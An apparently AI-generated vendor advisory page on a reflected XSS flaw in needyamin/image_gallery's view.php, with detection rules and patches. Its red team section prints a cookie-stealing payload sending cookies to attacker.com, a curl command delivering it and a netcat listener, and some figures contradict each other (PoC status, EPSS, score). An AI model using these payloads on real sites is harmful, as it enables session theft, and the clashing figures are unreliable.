☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0721

CVE-2025-0721 Cross-Site Scripting in Needyamin
📅 PUBLISHED: 2025-01-26 23:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
13.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0721 is a publicly disclosed, unpatched Cross-Site Scripting (XSS) vulnerability in the needyamin/image_gallery application version 1.0. The flaw resides in the image_gallery function within /view.php, where the Username parameter is not properly sanitized before being rendered. An attacker can inject arbitrary JavaScript code, which executes in the context of a victim's browser when they view the manipulated page. The attack vector is remote and requires user interaction (e.g., clicking a crafted link). The vendor was contacted but did not respond, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of a proof-of-concept (POC) increases risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, if this application is deployed as part of a larger supply chain (e.g., a Docker image or a web application bundle), the risk propagates to downstream consumers. Organizations should inventory any instances of needyamin/image_gallery and treat them as high-risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

  • Attack Vector (AV): Network (N) - The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): Required (R) - The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope (the browser).
  • Confidentiality (C): Low (L) - Limited data exfiltration possible (e.g., session tokens).
  • Integrity (I): Low (L) - Content can be modified within the victim's browser.
  • Availability (A): None (N) - No impact on availability.

Threat Level: Medium (5.4). The low EPSS score and required user interaction reduce immediate risk, but the public POC and lack of patch elevate the threat for any organization using this software.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the view.php script. The Username parameter is taken from the HTTP request (likely via GET or POST) and directly embedded into the HTML response without proper encoding or sanitization.

Root Cause: The application fails to apply output encoding (e.g., htmlspecialchars() in PHP) to the Username parameter before rendering it in the page. This allows an attacker to break out of the HTML context and inject arbitrary script tags.

Attack Flow:

  1. Attacker crafts a malicious URL: http://target.com/view.php?Username=<script>alert('XSS')</script>
  2. Victim clicks the link or is redirected to it.
  3. The server processes the request and includes the unsanitized Username value in the response.
  4. The victim's browser parses the HTML and executes the injected JavaScript.
  5. The script can steal cookies, redirect the user, deface the page, or perform actions on behalf of the victim.

Technical Details:

  • The vulnerable function is image_gallery in /view.php.
  • The Username parameter is likely used to display a greeting or user-specific content.
  • No Content Security Policy (CSP) headers are present to mitigate the impact.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
// view.php - vulnerable version
$username = $_GET['Username'];
echo "Welcome, " . $username . "!";
?>

Patched Code (PHP):

<?php
// view.php - patched version
$username = $_GET['Username'];
echo "Welcome, " . htmlspecialchars($username, ENT_QUOTES, 'UTF-8') . "!";
?>

The patched version uses htmlspecialchars() to convert special characters (like <, >, ", ', &) into their HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running needyamin/image_gallery version 1.0.
  • A web browser or tool like curl to send crafted requests.

Exploit Payload:

<script>alert('XSS')</script>

Full URL Example:

http://target.com/view.php?Username=<script>alert('XSS')</script>

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

  1. Deploy a vulnerable instance of needyamin/image_gallery 1.0 in a local Docker container or on a test server.
  2. Use a tool like Burp Suite or curl to send the malicious request.
  3. Set up a listener on the attacker machine (e.g., nc -lvnp 80) to capture exfiltrated cookies.

Command:

curl "http://target.com/view.php?Username=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"

Blue Team (Detection & Response)

Detection:

  • Monitor web server logs for requests containing <script> tags or other HTML/JavaScript in the Username parameter.
  • Use a Web Application Firewall (WAF) to block requests with suspicious patterns (e.g., <script, onerror, javascript:).
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

  • Immediately isolate the affected server.
  • Review logs for signs of exploitation (e.g., unusual outbound connections).
  • Apply virtual patching via WAF rules until a permanent fix is available.
  • Consider removing or replacing the vulnerable application.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /view.php with a Username parameter containing HTML/JavaScript.
  • Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).

File IOCs:

  • The file /view.php on the server (if accessible).
  • Log entries in access.log or error.log showing XSS attempts.

Example Log Entry:

192.168.1.100 - - [10/Jan/2025:12:34:56 +0000] "GET /view.php?Username=<script>alert('XSS')</script> HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2025_0721_XSS_Detection {
    meta:
        description = "Detects XSS attempts targeting CVE-2025-0721 in needyamin/image_gallery"
        author = "Valters IT"
        date = "2025-01-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-0721"
    strings:
        $xss_payload = /Username=.*<script[^>]*>.*<\/script>/i
        $xss_event = /Username=.*on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0721 XSS Attempt in needyamin/image_gallery
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with XSS payloads in the Username parameter targeting /view.php
author: Valters IT
date: 2025-01-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/view.php'
        cs-uri-query|contains: 'Username='
    filter:
        cs-uri-query|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate use of similar characters in usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-0721 XSS Attempt in needyamin/image_gallery"; flow:to_server,established; content:"GET"; http_method; content:"/view.php"; http_uri; content:"Username="; http_uri; pcre:"/Username=.*<script[^>]*>.*<\/script>/iU"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Virtual Patching: Deploy WAF rules to block requests containing <script> or other HTML tags in the Username parameter.
  2. Input Validation: Implement server-side validation to reject any input containing HTML/JavaScript.
  3. Output Encoding: Apply htmlspecialchars() or equivalent to all user-supplied data before rendering.

Long-Term Fix:

  • Since the vendor is unresponsive, the only permanent fix is to replace the vulnerable application with a maintained alternative or fork the code and apply the patch manually.
  • If the application is critical, consider rewriting the view.php script to use a templating engine that auto-escapes output.

Workaround:

  • Disable the view.php endpoint if not essential.
  • Restrict access to the application via IP whitelisting or VPN.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0721/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.